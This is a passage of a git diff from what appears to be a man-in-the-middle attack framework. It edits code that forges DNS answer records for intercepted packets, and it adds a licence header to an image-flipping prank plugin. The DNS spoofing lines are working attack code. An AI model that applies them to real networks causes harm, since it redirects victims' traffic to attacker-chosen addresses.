DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() + mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) + + logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_payload(str(mpkt)) + payload.accept() except Exception, e: print "Exception occurred while modifying DNS: " + str(e) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 150905a..f5445df 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import logging from cStringIO import StringIO from plugins.plugin import Plugin